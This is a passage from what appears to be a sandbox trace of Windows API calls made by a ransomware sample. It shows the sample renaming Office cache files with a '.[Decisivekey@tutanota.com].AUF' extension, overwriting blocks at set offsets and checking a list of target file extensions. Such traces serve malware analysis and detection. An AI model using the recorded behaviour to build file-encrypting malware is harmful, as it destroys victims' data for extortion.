lpBuffer=0x4049090*, lpNumberOfBytesWritten=0x2e5fc88*=0x40000, lpOverlapped=0x0) returned 1 [0211.138] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x6000ac, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fc7c | out: lpNewFilePointer=0x0) returned 1 [0211.138] WriteFile (in: hFile=0x204, lpBuffer=0x4049090*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2e5fc88, lpOverlapped=0x0 | out: lpBuffer=0x4049090*, lpNumberOfBytesWritten=0x2e5fc88*=0x40000, lpOverlapped=0x0) returned 1 [0211.142] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x11c0204, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fc7c | out: lpNewFilePointer=0x0) returned 1 [0211.142] WriteFile (in: hFile=0x204, lpBuffer=0x4049090*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2e5fc88, lpOverlapped=0x0 | out: lpBuffer=0x4049090*, lpNumberOfBytesWritten=0x2e5fc88*=0x40000, lpOverlapped=0x0) returned 1 [0211.144] CloseHandle (hObject=0x204) returned 1 [0211.487] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x2020) returned 1 [0211.488] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab") returned 72 [0211.488] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab") returned 72 [0211.488] lstrlenW (lpString=".doc") returned 4 [0211.488] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0211.488] lstrlenW (lpString=".docx") returned 5 [0211.488] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0211.488] lstrlenW (lpString=".pdf") returned 4 [0211.488] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0211.488] lstrlenW (lpString=".xls") returned 4 [0211.488] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0211.488] lstrlenW (lpString=".xlsx") returned 5 [0211.488] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0211.488] lstrlenW (lpString=".ppt") returned 4 [0211.488] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0211.488] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab") returned 72 [0211.488] lstrlenW (lpString=".zip") returned 4 [0211.488] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0211.488] lstrlenW (lpString=".rar") returned 4 [0211.488] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0211.488] lstrlenW (lpString=".bz2") returned 4 [0211.488] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0211.488] lstrlenW (lpString=".7z") returned 3 [0211.488] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0211.488] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab") returned 72 [0211.488] lstrlenW (lpString=".dbf") returned 4 [0211.488] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0211.488] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab") returned 72 [0211.488] lstrlenW (lpString=".1cd") returned 4 [0211.488] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0211.488] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab") returned 72 [0211.488] lstrlenW (lpString=".jpg") returned 4 [0211.488] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0211.488] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab") returned 72 [0211.489] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab") returned 72 [0211.489] lstrlenW (lpString=".doc") returned 4 [0211.489] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0211.489] lstrlenW (lpString=".docx") returned 5 [0211.489] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0211.489] lstrlenW (lpString=".pdf") returned 4 [0211.489] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0211.489] lstrlenW (lpString=".xls") returned 4 [0211.489] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0211.489] lstrlenW (lpString=".xlsx") returned 5 [0211.489] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0211.489] lstrlenW (lpString=".ppt") returned 4 [0211.489] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0211.489] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab") returned 72 [0211.489] lstrlenW (lpString=".zip") returned 4 [0211.489] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0211.489] lstrlenW (lpString=".rar") returned 4 [0211.489] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0211.489] lstrlenW (lpString=".bz2") returned 4 [0211.489] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0211.489] lstrlenW (lpString=".7z") returned 3 [0211.489] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0211.489] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab") returned 72 [0211.489] lstrlenW (lpString=".dbf") returned 4 [0211.489] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0211.489] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab") returned 72 [0211.489] lstrlenW (lpString=".1cd") returned 4 [0211.489] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0211.489] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab") returned 72 [0211.489] lstrlenW (lpString=".jpg") returned 4 [0211.489] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0211.489] lstrcmpiW (lpString1=".msi", lpString2=".AUF") returned 1 [0211.489] lstrlenW (lpString="OneNoteMUI.msi") returned 14 [0211.489] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0211.670] GetFileSizeEx (in: hFile=0x204, lpFileSize=0x2e5ff1c | out: lpFileSize=0x2e5ff1c*=2503680) returned 1 [0211.670] CloseHandle (hObject=0x204) returned 1 [0211.670] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.msi")) returned 0x2020 [0211.670] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.msi.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0211.670] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.msi.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 1 [0211.671] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.msi.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0211.671] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fc6c | out: lpNewFilePointer=0x0) returned 1 [0211.671] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fc2c | out: lpNewFilePointer=0x0) returned 1 [0211.740] ReadFile (in: hFile=0x204, lpBuffer=0x3a10058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2e5fc38, lpOverlapped=0x0 | out: lpBuffer=0x3a10058*, lpNumberOfBytesRead=0x2e5fc38*=0x40000, lpOverlapped=0x0) returned 1 [0211.795] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0xcbc00, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fc2c | out: lpNewFilePointer=0x0) returned 1 [0211.795] ReadFile (in: hFile=0x204, lpBuffer=0x3a50058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2e5fc38, lpOverlapped=0x0 | out: lpBuffer=0x3a50058*, lpNumberOfBytesRead=0x2e5fc38*=0x40000, lpOverlapped=0x0) returned 1 [0211.901] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2e5fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0211.901] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x223400, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fc2c | out: lpNewFilePointer=0x0) returned 1 [0211.901] ReadFile (in: hFile=0x204, lpBuffer=0x3a90058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2e5fc38, lpOverlapped=0x0 | out: lpBuffer=0x3a90058*, lpNumberOfBytesRead=0x2e5fc38*=0x40000, lpOverlapped=0x0) returned 1 [0211.973] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec8 | out: lpNewFilePointer=0x0) returned 1 [0211.973] WriteFile (in: hFile=0x204, lpBuffer=0x3a10020*, nNumberOfBytesToWrite=0xc0108, lpNumberOfBytesWritten=0x2e5fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesWritten=0x2e5fcb0*=0xc0108, lpOverlapped=0x0) returned 1 [0211.988] SetEndOfFile (hFile=0x204) returned 1 [0212.153] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fc7c | out: lpNewFilePointer=0x0) returned 1 [0212.154] WriteFile (in: hFile=0x204, lpBuffer=0x4089098*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2e5fc88, lpOverlapped=0x0 | out: lpBuffer=0x4089098*, lpNumberOfBytesWritten=0x2e5fc88*=0x40000, lpOverlapped=0x0) returned 1 [0212.155] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0xcbc00, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fc7c | out: lpNewFilePointer=0x0) returned 1 [0212.155] WriteFile (in: hFile=0x204, lpBuffer=0x4089098*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2e5fc88, lpOverlapped=0x0 | out: lpBuffer=0x4089098*, lpNumberOfBytesWritten=0x2e5fc88*=0x40000, lpOverlapped=0x0) returned 1 [0212.161] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x223400, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fc7c | out: lpNewFilePointer=0x0) returned 1 [0212.161] WriteFile (in: hFile=0x204, lpBuffer=0x4089098*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2e5fc88, lpOverlapped=0x0 | out: lpBuffer=0x4089098*, lpNumberOfBytesWritten=0x2e5fc88*=0x40000, lpOverlapped=0x0) returned 1 [0212.165] CloseHandle (hObject=0x204) returned 1 [0212.165] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x2020) returned 1 [0212.166] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi") returned 77 [0212.166] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi") returned 77 [0212.166] lstrlenW (lpString=".doc") returned 4 [0212.166] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0212.166] lstrlenW (lpString=".docx") returned 5 [0212.166] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0212.166] lstrlenW (lpString=".pdf") returned 4 [0212.166] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0212.166] lstrlenW (lpString=".xls") returned 4 [0212.166] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0212.166] lstrlenW (lpString=".xlsx") returned 5 [0212.166] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0212.166] lstrlenW (lpString=".ppt") returned 4 [0212.166] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0212.166] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi") returned 77 [0212.166] lstrlenW (lpString=".zip") returned 4 [0212.166] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0212.166] lstrlenW (lpString=".rar") returned 4 [0212.166] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0212.166] lstrlenW (lpString=".bz2") returned 4 [0212.166] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0212.166] lstrlenW (lpString=".7z") returned 3 [0212.166] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0212.166] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi") returned 77 [0212.166] lstrlenW (lpString=".dbf") returned 4 [0212.166] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0212.166] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi") returned 77 [0212.166] lstrlenW (lpString=".1cd") returned 4 [0212.166] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0212.166] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi") returned 77 [0212.166] lstrlenW (lpString=".jpg") returned 4 [0212.166] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0212.166] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi") returned 77 [0212.166] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi") returned 77 [0212.166] lstrlenW (lpString=".doc") returned 4 [0212.166] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0212.166] lstrlenW (lpString=".docx") returned 5 [0212.166] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0212.166] lstrlenW (lpString=".pdf") returned 4 [0212.166] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0212.166] lstrlenW (lpString=".xls") returned 4 [0212.166] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0212.166] lstrlenW (lpString=".xlsx") returned 5 [0212.166] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0212.166] lstrlenW (lpString=".ppt") returned 4 [0212.166] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0212.166] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi") returned 77 [0212.166] lstrlenW (lpString=".zip") returned 4 [0212.167] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0212.167] lstrlenW (lpString=".rar") returned 4 [0212.167] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0212.167] lstrlenW (lpString=".bz2") returned 4 [0212.167] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0212.167] lstrlenW (lpString=".7z") returned 3 [0212.167] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0212.167] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi") returned 77 [0212.167] lstrlenW (lpString=".dbf") returned 4 [0212.167] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0212.167] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi") returned 77 [0212.167] lstrlenW (lpString=".1cd") returned 4 [0212.167] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0212.167] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi") returned 77 [0212.167] lstrlenW (lpString=".jpg") returned 4 [0212.167] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0212.167] lstrcmpiW (lpString1=".msi", lpString2=".AUF") returned 1 [0212.167] lstrlenW (lpString="GrooveMUI.msi") returned 13 [0212.167] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0212.167] GetFileSizeEx (in: hFile=0x204, lpFileSize=0x2e5ff1c | out: lpFileSize=0x2e5ff1c*=2507776) returned 1 [0212.167] CloseHandle (hObject=0x204) returned 1 [0212.167] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.msi")) returned 0x2020 [0212.167] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.msi.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0212.167] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.msi.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 1 [0212.168] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.msi.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0212.168] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fc6c | out: lpNewFilePointer=0x0) returned 1 [0212.168] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fc2c | out: lpNewFilePointer=0x0) returned 1 [0212.168] ReadFile (in: hFile=0x204, lpBuffer=0x3a10058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2e5fc38, lpOverlapped=0x0 | out: lpBuffer=0x3a10058*, lpNumberOfBytesRead=0x2e5fc38*=0x40000, lpOverlapped=0x0) returned 1 [0212.187] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0xcc155, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fc2c | out: lpNewFilePointer=0x0) returned 1 [0212.187] ReadFile (in: hFile=0x204, lpBuffer=0x3a50058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2e5fc38, lpOverlapped=0x0 | out: lpBuffer=0x3a50058*, lpNumberOfBytesRead=0x2e5fc38*=0x40000, lpOverlapped=0x0) returned 1 [0212.215] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2e5fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0212.215] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x224400, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fc2c | out: lpNewFilePointer=0x0) returned 1 [0212.215] ReadFile (in: hFile=0x204, lpBuffer=0x3a90058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2e5fc38, lpOverlapped=0x0 | out: lpBuffer=0x3a90058*, lpNumberOfBytesRead=0x2e5fc38*=0x40000, lpOverlapped=0x0) returned 1 [0212.305] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec8 | out: lpNewFilePointer=0x0) returned 1 [0212.306] WriteFile (in: hFile=0x204, lpBuffer=0x3a10020*, nNumberOfBytesToWrite=0xc0106, lpNumberOfBytesWritten=0x2e5fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesWritten=0x2e5fcb0*=0xc0106, lpOverlapped=0x0) returned 1 [0212.320] SetEndOfFile (hFile=0x204) returned 1 [0212.321] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fc7c | out: lpNewFilePointer=0x0) returned 1 [0212.321] WriteFile (in: hFile=0x204, lpBuffer=0x3fa1068*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2e5fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fa1068*, lpNumberOfBytesWritten=0x2e5fc88*=0x40000, lpOverlapped=0x0) returned 1 [0212.322] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0xcc155, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fc7c | out: lpNewFilePointer=0x0) returned 1 [0212.322] WriteFile (in: hFile=0x204, lpBuffer=0x3fa1068*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2e5fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fa1068*, lpNumberOfBytesWritten=0x2e5fc88*=0x40000, lpOverlapped=0x0) returned 1 [0212.326] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x224400, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fc7c | out: lpNewFilePointer=0x0) returned 1 [0212.326] WriteFile (in: hFile=0x204, lpBuffer=0x3fa1068*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2e5fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fa1068*, lpNumberOfBytesWritten=0x2e5fc88*=0x40000, lpOverlapped=0x0) returned 1 [0212.328] CloseHandle (hObject=0x204) returned 1 [0212.329] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x2020) returned 1 [0212.329] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi") returned 76 [0212.329] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi") returned 76 [0212.329] lstrlenW (lpString=".doc") returned 4 [0212.329] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0212.329] lstrlenW (lpString=".docx") returned 5 [0212.329] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0212.329] lstrlenW (lpString=".pdf") returned 4 [0212.329] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0212.329] lstrlenW (lpString=".xls") returned 4 [0212.329] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0212.329] lstrlenW (lpString=".xlsx") returned 5 [0212.329] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0212.329] lstrlenW (lpString=".ppt") returned 4 [0212.329] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0212.329] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi") returned 76 [0212.329] lstrlenW (lpString=".zip") returned 4 [0212.329] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0212.329] lstrlenW (lpString=".rar") returned 4 [0212.329] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0212.329] lstrlenW (lpString=".bz2") returned 4 [0212.329] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0212.329] lstrlenW (lpString=".7z") returned 3 [0212.329] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0212.329] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi") returned 76 [0212.329] lstrlenW (lpString=".dbf") returned 4 [0212.329] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0212.329] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi") returned 76 [0212.329] lstrlenW (lpString=".1cd") returned 4 [0212.329] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0212.329] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi") returned 76 [0212.329] lstrlenW (lpString=".jpg") returned 4 [0212.329] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0212.329] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi") returned 76 [0212.329] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi") returned 76 [0212.329] lstrlenW (lpString=".doc") returned 4 [0212.329] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0212.329] lstrlenW (lpString=".docx") returned 5 [0212.329] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0212.329] lstrlenW (lpString=".pdf") returned 4 [0212.330] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0212.330] lstrlenW (lpString=".xls") returned 4 [0212.330] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0212.330] lstrlenW (lpString=".xlsx") returned 5 [0212.330] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0212.330] lstrlenW (lpString=".ppt") returned 4 [0212.330] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0212.330] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi") returned 76 [0212.330] lstrlenW (lpString=".zip") returned 4 [0212.330] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0212.330] lstrlenW (lpString=".rar") returned 4 [0212.330] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0212.330] lstrlenW (lpString=".bz2") returned 4 [0212.330] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0212.330] lstrlenW (lpString=".7z") returned 3 [0212.330] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0212.330] lstrlenW (lpString="C:\\MSOCache\\All 